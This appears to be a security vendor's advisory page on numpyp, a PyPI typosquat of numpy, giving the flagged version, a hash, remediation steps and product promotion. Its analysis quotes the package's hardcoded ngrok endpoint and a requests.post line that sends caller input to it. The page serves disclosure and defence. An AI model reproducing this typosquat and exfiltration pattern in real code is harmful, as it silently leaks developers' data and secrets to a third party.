Which versions of numpyp are malicious?

The following PyPI versions of numpyp are flagged malicious: 0.7.7. Treat any of these as compromised.

How do I remediate numpyp if I installed it?

Remove numpyp from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed numpyp — how do I know if it already compromised me?

If numpyp was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is numpyp part of a known attack campaign?

Yes — numpyp is associated with the IN-MAL-2026-014808 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find numpyp across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for numpyp (version 0.7.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging numpyp across your stack and pipelines.

Malicious package

numpypPyPI

numpyp is a confirmed malicious PyPI package (MAL-2026-12503) that executes malicious code on install (malicious version 0.7.7). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in numpyp (PyPI)

MAL-2026-12503

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall numpyp

What this malware does

Package name numpyp is a one-character edit of numpy (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in numpyp/__init__.py defines BASE_URL = "https://fantasize-handcraft-pavement.ngrok-free.dev" (an author-controlled ngrok free-tier tunnel) and exports call(qst, info) / ans(qst_id, human), which unconditionally POST/GET caller-supplied content to that endpoint (e.g. requests.post(f"{BASE_URL}/questions", json={"question": qst, "info": info},...)). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers pip install numpy as numpyp and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.

Malicious versions

1 flagged

0.7.7

Indicators of compromise (SHA-256)

971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for numpyp (version 0.7.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging numpyp across your stack and pipelines.
If you installed it — respond
Remove numpyp from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If numpyp was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks numpyp before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. numpyp on PyPI has been identified as a malicious package (version 0.7.7 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-014808

References

pypi.org

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks numpyp-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database